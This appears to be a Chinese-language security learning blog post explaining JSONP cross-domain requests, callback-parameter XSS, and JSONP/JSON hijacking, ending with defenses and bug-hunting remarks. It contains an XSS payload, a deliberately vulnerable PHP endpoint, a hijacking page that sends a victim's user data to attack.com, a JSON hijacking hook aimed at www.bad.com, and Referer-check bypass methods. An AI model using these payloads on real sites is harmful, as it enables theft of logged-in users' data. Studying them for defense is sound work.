jsonp学习
jsonp学习
0x01 jsonp
为何使用
JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。
情形举例
假设 a.com
下存在data.json文件
1 | { username: "name", password: "secret" } |
而下面的html文件用于发起Ajax请求获取data.json的内容并记录日志:
1 | <script src='./jquery.js'></script> |
如果该HTML文件处于a.com
和data.json
同域时,访问该HTML文件能够正常获取json
文件的内容。
但是如果该HTML文件放置在b.com
下,即和data.json
文件不同域,访问HTML文件时,浏览器会报错,因为,ajax不能发起跨域请求。
但是,为了方便程序间数据的调用,就搞了几种跨域的方法,其中包括jsonp
简单来说,就是利用script标签的src属性能够发起跨域请求的原理来实现的。
将HTML修改为
1 | <body> |
此时,再次访问就会发现,可以发起跨域请求了,但是,会看到浏览器报错,因为data.json
中的内容不符合javascript
的代码规范
重新定义json文件的内容,让其更符合jsonp
规范
1 | callback({ username: "name", password: "secret" }) |
然后我们在HTML文件中添加callback
函数的定义即可:
1 | <body> |
此时,最基本的jsonp
功能就基本实现了,我们的web站点的HTML文件能够正常的获取目标外域
的json数据。
==至此,我们就清楚了:JSONP就是跨域技术的一种,用来方便Web站点突破SOP的限制从外域端点获取数据==
json与jsonp的区别
- JSON(JavaScript Object Notation),即JavaScript对象表示法。
- JSONP(JSON with Padding)即填充式的JSON,通过填充额外的内容把JSON数据包装起来,变成一段有效的可以独立运行的JavaScript语句。它是基于JSON 格式的为解决跨域请求资源而产生的解决方案,基本原理是利用HTML里script元素标签,远程调用JSON文件来实现数据传递。
JSONP
常见的基本语法是:callback({"name":"h0ld1rs",msg:"success"})
常见的例子包括 函数调用(如callback({“a”:”b”}))或变量赋值(var a={JSON data})。
实现流程
借鉴菜鸟教程
原生样式
jsonp.php,作为jsonp端点,动态生成JSONP
格式数据,文件放置在第三方服务器中
1 |
|
jsonp.html,先在script标签中定义,再通过另一个script标签的src属性来实现跨域访问目标JSONP端点获取根据传参动态生成的JSONP数据,文件放置于本地服务器中:
1 |
|
Jquery的三种样式
$.getJSON
1 |
|
$.ajax
1 | <html><head> <meta charset="utf-8"> <title>JSONP Test</title> <script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script> </head><body><div id="here"></div><script>$(function(){ // 使用ajax来调用jsonp $.ajax({ type: "get", //jsonp默认为get请求,即使写post也会转换成get方式 async: false, // jsonp默认为false,即使写true也会转换成false url: "http://192.168.68.130/jsonp.php", // 服务端地址 // data: {"code" : "CA1405"}, // 入参 dataType: "jsonp", // jsonp调用固定写法 jsonp: "callback", // 传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)。即:?callback=xxx中的callback部分 // jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据。即:?callback=xxx中的xxx部分 success: function(data){ // 调用成功之后的方法 var html = '<ul>'; for(var i = 0; i < data.length; i++) { html += '<li>' + data[i] + '</li>'; } html += '</ul>'; $('#here').html(html); }, error: function(){ // 调用失败之后的方法 alert('error'); } }); }); </script></body></html> |
$.get
1 | <html><head> <meta charset="utf-8"> <title>JSONP Test</title> <script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script> </head><body><div id="here"></div><script>$.get('http://192.168.68.130/jsonp.php?callback=?', function (data) { var html = '<ul>';for(var i = 0; i < data.length; i++){html += '<li>' + data[i] + '</li>';}html += '</ul>';$('#here').html(html); }, 'jsonp'); </script></body></html> |
0X02 JSONP跨域漏洞
JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。
callback导致的自定义xss
通过上面的了解,我们知道了在JSONP跨域中,我们是可以传入一个函数名的参数如callback,然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来
如果JSONP端点对于用于传入的函数名参数callback处理不当,如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生。
未设置Content-Type且未过滤
我们先看下默认情况下未设置Content-Type且未对callback参数进行过滤的场景,这种情形是最基础也是最常见的,网上大多数的JSONP引起的XSS都是这种场景的。
JSONP端点的代码如下,data.php:
1 | if(isset($_GET['callback'])){ $callback = $_GET['callback']; print $callback.'({"username" : "h0ld1rs", "password" : "thisispassword"});';} else { echo 'No callback param.';} |
这时,正常,我们会在页面返回jsonp数据
当输入XSS payloadcallback=1<script>alert("hacked by Wum1ng")</script>
时,会弹框,且可以看到响应报文在未设置Content-Type情况下其值为text/html:
对Content-Type设置探讨
application/json
JSON文本的MIME媒体类型是application/json,默认编码为UTF-8。同时这也是建议的JSONP端点设置的Content-Type值,用于防御XSS。
我们直接在前面data.php中添加设置Header字段的代码即可:
1 | <?phpheader('Content-type: application/json');if(isset($_GET['callback'])){ $callback = $_GET['callback']; print $callback.'({"username" : "h0ld1rs", "password" : "thisispassword"});';} else { echo 'No callback param.';}?> |
此时无论正常访问还是注入XSS payload,页面都不会显示内容出来:
但我们在浏览器查看原始数据的时候是有JSONP数据返回的,但就是不会在页面中解析该内容:
这种情形,在哪个浏览器尝试都不会弹框,因为此时浏览器不再将响应返回内容当成HTML文档来解析了,而是将其视为JSON数据,但由于该数据是JSONP格式的而不是JSON格式的,当浏览器尝试解析JSON数据时会报错。然而这一切如果只是在几个文件或接口之间JSONP数据的调用,则是不会有问题的,因为它不需要浏览器显示出来而只是取其中的数据而已。
text/json
text/json是application/json正式注册之前,JSON的实验版MIME类型。
将data.php中对应的字段值改为text/json,再访问,可以看到页面原封不动地返回数据,但浏览器不会解析其中的内容,不会弹框:
1 | <?phpheader('Content-type: text/json');if(isset($_GET['callback'])){ $callback = $_GET['callback']; print $callback.'({"username" : "h0ld1rs", "password" : "thisispassword"});';} else { echo 'No callback param.';}?> |
这种情形处理会将响应内容显示在页面上,但浏览器同样不会将该内容当成HTML文档来解析,同时也没有去按JSON格式解析内容,因此没有报错
application/javascript与text/javascript
其实,JSONP格式的数据就是JS数据,其返回的内容就是传入参数的JS函数的调用。
application/javascript是JavaScript的正式注册的MIME媒体类型。
因此,可能会有些程序员在设置Content-Type时,会将其设置为application/javascript,将响应的JSONP内容正确地设置为JS类型。
我们修改data.php中对应的Content-Type值为application/javascript再看看,在Chrome和Firefox下确实没有弹框:
但是换到非最新版的IE就会弹了,==本地IE更新到最新的只是提示是否下载该文件而已。==
另外,text/javascript的效果是一样的,其是application/javascript的测试版。
X-Content-Type-Options
如果在响应报文中X-Content-Type-Options字段被设置为nosniff,Content-Type必须设置为JavaScript(application/javascript或text/javascript)才能在浏览器中运行。
这是因为在响应中包含回调产生的问题,这时响应不再解析JSON而是解析JS。
JSONP劫持
JSONP劫持其实和CSRF的攻击是类似的,只不过CSRF是提交表单请求,而JSONP劫持是将请求JSONP端点获取到的JSONP数据发往攻击者服务器中、实现获取JSONP敏感信息。
因此,JSONP劫持的前提和CSRF是一样的,当服务端没有校验请求来源,如未严格校验Referer或未存在token机制等,都会导致JSONP劫持的产生。
我们经常会听到JSON劫持和JSONP劫持,两者有啥区别,下面简单说下。
==简单地说,JSONP劫持属于JSON劫持的一种==
json劫持
JSON劫持即JSON Hijacking,攻击过程类似CSRF,区别在于CSRF只管发送表单请求,但是JSON劫持则是获取JSON格式的敏感数据。
通常,有些Web应用会把一些敏感数据以JSON形式返回到前端,如果仅仅通过cookie来判断请求是否合法,那么就可以利用类似CSRF的手段,向目标服务器发送请求,以获得敏感数据。
当JSON数据响应给网站时,浏览器立即会调用数组或者对象的构造函数。正是利用这一点,把构造方法替换成恶意代码,在构造方法中添加将JSON数据发送给第三方即攻击者的代码。
原理
比如目标站点存在可直接访问JSON数据,其可通过GET请求如www.good.com/user/mail.json
来进行访问,同时这个请求没有对用户的身份进行严格的认证,那么当用户访问一个恶意站点的时候,恶意站点同样包含获取www.good.com/user/mail.json
的GET请求,再通过JSON劫持的方式就可以获取到用户的敏感JSON数据,然后发送到恶意的站点。
关键的步骤是第4步和第7步。当用户访问恶意站点之后,从正常站点将JSON数据下载下来之后,如何发送到恶意站点上去。
这里,我们的恶意页面仅仅是通过script标签的src属性进行导入:
1 | <script src="www.good.com/data.json"></script> |
新建data.json文件如下:
1 | { "fname":"h0ld1rs", "lname":"yanmie", "phone":"666666", "email":"Wum1ng@163.com"} |
当用户在已登录目标站点并保持着Cookie有效的情况下,被诱使访问了我们的恶意页面,就会导致请求目标敏感JSON文件。
JSON数据从服务器端到达浏览器之后,会被浏览器解析为JavaScript中的Object的实例。在这种情况下,只要重写Object类的set方法,就可以获取到想要的数据,这就是JSON劫持的实现,以下就是攻击代码:
1 | <script type="text/javascript">Object.defineProperty(Object.prototype,"email",{ set:function(obj) { // send data to www.bad.com senddata2badsute(obj) }});</script><script type="text/javascript" src="www.good.com/data.json"/> |
我们为Object类的email属性设置一个Hook函数。在JavaScript中所有的类都是继承至Object类,所以defineProperty()这个方法为所有的对象的email属性都增加了一个Hook函数。当有对象设置email属性的时候,就会运行上面这段代码。所以当浏览器获取到了json数据,要将json数据转化为JavaScript对象的时候,由于json数据中存在email属性的设置,此时就会触发Hook函数,而这个函数就会将数据传送到攻击者。这个过程就完成了json数据的劫持了。
PS:目前网络上关于这方面的资料大部分都是2012年之前的,此时尝试进行重新的时候,发现已经无法实现了。说明浏览器目前已经修复了这个漏洞。关于hook对象的属性设置目前的实现方法与之前的方法也相同了。
我们本地试下就知道了,当我们通过.属性的方式赋值时是会弹框的:
1 | <script type="text/javascript">Object.defineProperty(Object.prototype,"Id",{ set:function(obj) { alert(obj); }});</script><script>var a = new Object();a.Id = 666;</script> |
但是如果我们是直接声明并且赋值给一个对象,这个时候就不会触发这个事件:
1 | <script type="text/javascript">Object.defineProperty(Object.prototype,"Id",{ set:function(obj) { alert(obj); }});</script><script>var b={"Id":123};</script> |
(,,因为没反应,所以就不截图了)
而由目标JSON端点返回的数据都是{‘a’:’b’}的形式,==即我们恶意页面接收到JSON数据时在script标签是通过直接声明并且赋值的形式来赋值给对象的,从而也不会导致弹框。换句话说,就是现在的浏览器已经对这种JSON劫持漏洞进行了防御,我们没有办法通过Hook JS函数来实现JSON劫持了。==
总结
当用户在已登录目标站点并保持着Cookie有效的情况下,被诱使访问了我们的恶意页面,而恶意页面是向目标JSON文件发起请求并获取响应;
因为script标签会自动解析请求回来的JSON数据并生成对应的JS对象,此时我们只需要再通过Object.prototype.__defineSetter__
这个函数来进行Hook,就能实现将获取到的JSON数据往外发送给攻击者,从而成功导致JSON劫持;
但是该函数在当前的新版本chrome和firefox中都已经失效了,浏览器早已对此JSON劫持漏洞进行了修补
JSONP劫持
前面JSON劫持的通用方法其实已经早已被浏览器防御住了,但由于JSONP的出现,导致JSON劫持多了一种JSONP的形式,这是因为JSONP数据其实就是往JS函数中传参进行调用,这就导致了攻击者在恶意页面编写恶意的JS函数,通过JSONP的调用来执行该恶意JS函数、将敏感JSONP数据发往攻击者服务器中。
Demo0
这里我们模拟一个登录站点,登录后可与JSONP端点交互获取用户信息;而攻击者则是在自己服务器放置恶意HTML文件来尝试劫持用户JSONP数据。
main.php,放置于目标站点,用于用户登录以及与JSONP端点交互获取用户信息:
1 | 0);session_start();$name = $_GET['name'];$pwd = $_GET['pwd'];if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){ $_SESSION['name'] = $name;}if (isset($_GET['logout'])) { if ($_GET['logout'] === '1') { unset($_SESSION['name']); }}echo '<a href="http://192.168.68.130/info.php?callback=jsonp">用户信息</a><br>';echo '<a href="http://192.168.68.130/main.php?logout=1">退出登录</a><br data-tomark-pass>';if(!$_SESSION['name']){ echo '<html> <head> <title>登录</title> <meta charset="utf-8"> </head> <body> <form action="main.php" method="get"> 用户名:<input type="text" name="name"> 密码:<input type="password" name="pwd"> <input type="submit" name="submit" value="login"> </form> </body> </html>';}else{ echo "欢迎您, ".$_SESSION['name']."<br data-tomark-pass>";} error_reporting( |
info.php,放置于目标服务器中,JSONP端点,用于提供指定用户的信息,注意这里设置了Content-Type为application/json,防御了JSONP XSS漏洞:
1 | 'Content-type: application/json');error_reporting(0);session_start();$callback = $_GET['callback'];if($_SESSION['name'] === 'admin'){ echo $callback."({'id':1,'name':'admin'})";} elseif($_SESSION['name'] === 'guest') { echo $callback."({'id':2,'name':'guest'})";} else { echo $callback."获取个人信息失败";} header( |
hacking.html,放置在攻击者服务器中,用于诱使受害者访问,以窃取目标站点JSONP端点的敏感信息并发往攻击者服务器中:
1 | <html><head> <title>lol</title> <meta charset="utf-8"></head><script type="text/javascript" src="./jquery.js"></script><script> function jsonp_hack(v){ alert("JSONP hacking"); var h = ''; for(var key in v){ var a = ''; a = key + ' : ' + v[key] + ' ,'; h += a; } alert(h); $.get('http://attack.com/index.html?value='+h); }</script><script src="http://192.168.68.130/info.php?callback=jsonp_hack"></script><body> <h1>Welcome</h1></body></html> |
攻击者还是可以收到
这是发送方的
绕过
Referer绕过
有时候程序对Referer进行了校验,但并未对空Referer进行校验,此时我们就可以使用置空的Referer请求来绕过。
- 实现空refer有三种方法
- 使用iframe标签+javascript伪协议
- 从HTTPS向HTTP发起请求
- 使用meta标签
使用iframe标签+javascript伪协议
原理就是在恶意HTML中,给iframe标签的src属性赋值为javascript://伪协议内容,其中具体内容为和之前一样的定义两个script标签、一个定义callback函数具体操作、另一个则是通过script标签的src属性向目标JSONP端点发起跨域请求。
0x03防御
- 若可行,则使用CORS替换JSONP实现跨域功能;
- 应用CSRF防御措施来调用JSON文件:限制Referer 、部署Token等;
- 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );
- 严格过滤 callback 函数名及JSON里数据的输出;
- 严格限制对JSONP输出callback函数名的长度(如防御Flash输出的方法)
0x04 实际应用场景
这篇文章介绍了JSON Hijacking钓鱼
https://www.freebuf.com/articles/web/194698.html
所以,jsonp需要验证refer,我们平时挖洞的时候,只要满足这4点,(其实xray就可以挖了)
对于xray扫出来,可以自己再验证一下,或者自己手工挖掘。
0x04 参考文章
https://www.freebuf.com/articles/web/194698.html
《推开xray之门》